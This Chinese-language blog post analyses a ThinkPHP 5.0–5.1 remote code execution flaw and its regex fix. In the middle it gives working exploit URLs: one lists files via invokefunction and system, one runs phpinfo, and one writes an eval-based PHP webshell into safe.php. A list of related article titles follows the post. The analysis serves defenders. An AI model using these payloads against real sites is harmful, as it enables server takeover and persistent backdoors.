THINKPHP漏洞修复,官方于近日,对现有的thinkphp5.0到5.1所有版本进行了升级,以及补丁更新,这次更新主要是进行了一些漏洞修复,最严重的就是之前存在的SQL注入漏洞,以及远程代码执行查询系统的漏洞都进行了修复,官方本以为没有问题了,但是在实际的安全检测当中发现,还是存在问题,还是可以远程代码进行注入,插入非法字符,提交到服务器后端中去。

关于这次发现的oday漏洞,我们来看下是怎么样的,更新的程序文件路径是library文件夹下的think目录里的app.php,如下图:

漏洞产生的原因就在于这个控制器这里,整个thinkphp框架里的功能对控制器没有进行严格的安全过滤于检查,使攻击者可以伪造恶意参数进行强制插入,最根本的原因就是正则的表达式写的不好,导致可以绕过。

在controller获取控制器后,直接进行赋值,但是并没有对控制器的名进行严格的检测,导致可以使用斜杠等特殊符号来远程代码注入。

我们来搭建一下网站的环境,apache+mysql+Linux centos系统,搭建好的测试环境地址是http://127.0.01/anquan ,我们可以直接在index.php后面伪造攻击参数,示例如下:http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l

直接get方式提交到网站中去,可以直接查询到网站当前根目录的所有文件,截图如下:

通过该漏洞也可以直接远程代码注入执行phpinfo语句,查询当前的php版本,路径,扩展,以及php.ini存放的地址,都可以看得到,构造如下代码即可。http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

有些人可能会问了,既然都可以phpinfo,查询目录文件,可不可以getshell写网站木马文件到网站里呢? 答案是可以的,我们测试的时候是以一句话木马代码的写入到safe.php文件里。http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php %20@eval($_GET["cmd"]);?>%27%20>%20safe.php

关于这次thinkphp的漏洞利用以及分析到此就结束了,该漏洞属于高危漏洞,危害严重性较大,很多升级更新补丁的网站都会受到攻击,甚至有些网站会被挂马,那么该如何修复thinkphp的漏洞呢?

替换之前的正规则表达式即可,还需要对网站的目录进行权限部署,防止生成php文件,对网站上的漏洞进行修复,或者是对网站安全防护参数进行重新设置,使他符合当时的网站环境。

针对于这个情况,我们要对其library/think/App.php代码里的正规则表达式进行更改if (!preg_match('/^[A-Za-z][\w\.]*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }

php安全漏洞怎么修复,thinkphp漏洞如何修复相关推荐

  1. 网站安全检测 漏洞检测 对thinkphp通杀漏洞利用与修复建议

    thinkphp在国内来说,很多站长以及平台都在使用这套开源的系统来建站,为什么会这么深受大家的喜欢,第一开源,便捷,高效,生成静态化html,第二框架性的易于开发php架构,很多第三方的插件以及第三 ...

  2. thinkphp漏洞_【组件攻击链】ThinkCMF 高危漏洞分析与利用

    一.组件介绍 1.1 基本信息 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架.ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形 ...

  3. Thinkphp漏洞详解合集

    文章目录 Thinkphp6.0.12LTS反序列化漏洞 环境 漏洞分析 thinkphp lang命令执行 环境 影响版本 漏洞分析 漏洞复现 CNVD-2018-24942(t5RCE) 环境 影 ...

  4. [Vulhub] ThinkPHP漏洞合集

    文章目录 ThinkPHP 2.x 任意代码执行漏洞 0x00 漏洞描述 0x01 影响版本 0x02 靶场环境 0x03 漏洞分析 0x04 漏洞复现 0x05 getshell Thinkphp5 ...

  5. thinkphp漏洞复现

    所有文章,仅供安全研究与学习之用,后果自负! thinkphp漏洞 前言 一.thinkphp-2x-rce 代码执行 0x01 漏洞描述 0x02 影响版本 0x03 漏洞利用 0x04 漏洞修复 ...

  6. 渗透测试之路:ThinkPHP漏洞复现

    1)简介 ThinkPHP是一个免费开源的,快速的,简单的面向对象的国产轻量级PHP开发框架. ThinkPHP遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业级应用开而诞生的,具有 ...

  7. ThinkPHP漏洞总结复现

    ThinkPHP漏洞总结 简介 版本 Thinkphp 2.x 任意代码执行漏洞 漏洞原理 复现过程 修复意见 Thinkphp5-5.0.22/5.1.29远程执行代码漏洞 漏洞原理 影响范围 复现 ...

  8. vulhub靶场thinkphp漏洞复现

    0x01.ThinkPHP 2.x 任意代码执行漏洞 原理 ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由: $res = preg_replace('@(\w+)'. ...

  9. ThinkPHP漏洞总结(利用)

    ThinkPHP介绍 ThinkPHP是一个快速.兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从S ...

  10. 【转载】升级OpenSSL修复高危漏洞Heartbleed

    背景:        OpenSSL全称为Secure Socket Layer,是Netscape所研发,利用数据加密(Encryption)作技术保障在Internet上数据传输的安全.可确保数据 ...

最新文章

  1. oracle9i数据库自动备份,Windows环境下Oracle9i数据库文件的自动备份
  2. 对DbRuleAuthorizationProvider的修改
  3. Java接口和Java抽象类的认识
  4. php 半角全角,PHP 全角转半角实现代码
  5. 策略模式、简单工厂结合
  6. 在local模式下的spark程序打包到集群上运行
  7. 网络技巧:无线路由器越用越慢的解决方法
  8. F-Secure Client Security 注册机
  9. JAVA进阶教学之(产生随机数)
  10. C语言三个数排序,普通方法及进阶(不引入第三变量交换数值法)
  11. 大整数的因子(信息学奥赛一本通-T1171)
  12. Linux的网络安装
  13. oracle的汇总模板,Oracle EBS汇总模板建立问题处理
  14. java获取当前路径的几种方法
  15. UG与PM数控编程的区别在哪
  16. 微信获取access_token 返回-1000
  17. VS code + Java 配置与使用
  18. APP闪退有哪些原因造成的?
  19. 层次分析法——确定指标权重、解决评价类问题
  20. Java网课①--->期末考试试卷

热门文章

  1. 融资1个亿,5000万给魔窗,凭啥?
  2. 《python网络数据采集》读书笔记
  3. CSP-J 2021 小熊的果篮
  4. 微信小程序:图片秒加水印制作生成
  5. Navicat 将 psc备份文件还原
  6. Redis集群-哨兵
  7. I2C Clock Stretch
  8. Chi-Plots和Kendall Plots
  9. java电子贺卡_用java写一个新春贺卡,可转exe的
  10. 【CS学习笔记】14、powerup提权的方法